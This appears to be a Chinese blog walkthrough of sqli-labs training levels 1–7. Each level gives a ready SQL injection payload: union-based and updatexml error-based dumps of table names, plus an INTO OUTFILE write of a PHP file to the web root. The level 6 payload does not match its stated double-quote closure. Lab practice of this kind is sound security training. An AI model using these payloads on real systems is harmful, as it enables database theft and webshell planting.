sql-labs靶场

第一关(get传参,单引号闭合,有回显,无过滤)

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

第二关(get传参,无闭合,有回显,无过滤)

?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')

第三关(get传参,括号加单引号闭合,有回显,无过滤)

?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

第四关(get传参,括号加双引号闭合,有回显,无过滤)

?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

第五关(get传参,单引号闭合,无回显有报错,无过滤)

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

第六关(get传参,双引号闭合,无回显有报错,无过滤)

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

第七关(get传参,单引号加两个括号闭合,无回显有报错,无过滤)写webshell

?id=-1')) union select 1,2,'<?php phpinfo();' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\a.php" --+

第八关(get传参,单引号闭合,无回显无报错,无过滤)
相关推荐
IvorySQL6 分钟前
从数据到智能:PostgreSQL 在医疗垂类智能体与 AI 平台中的核心实践
数据库·人工智能·postgresql
mpHH20 分钟前
postgresql 数据类型的实现
数据库·postgresql·源码
陈年老古董27 分钟前
Function Calling 实战:从自然语言生成 SQL 到多轮工具调用
sql·学习·语言模型·langchain·tool
打工仔折腾 AI30 分钟前
C++ AI SDK(十):DataManager的数据库读写、事务与一致性设计
开发语言·数据库·c++·人工智能·后端·python·性能优化
benchmark_cc40 分钟前
vn.py 如何接入 A 股历史行情?使用 QuantDash 映射 BarData 并导入回测数据库
开发语言·数据库·python·pandas·量化交易·股票数据·quantdash
Leo.yuan1 小时前
2026 企业级数据分析 Agent 选型指南:帆软Dora、ThoughtSpot、阿里云 Quick BI 与 Smartbi 进阶能力对比
数据库
暖核1 小时前
K8s 动态卷供应 + StatefulSet 实战:搞定有状态数据库集群
数据库·容器·kubernetes
幽默小吴1 小时前
Redis篇(十六)
数据库·redis·bootstrap
Zenova EdgeOS1 小时前
Rust 数据库实战:工业边缘场景下的 sqlx
数据库·oracle·rust·边缘计算·工业网关
喜欢打篮球的普通人1 小时前
PyTorch Dispatch 机制:一张二维表解释一切
java·前端·数据库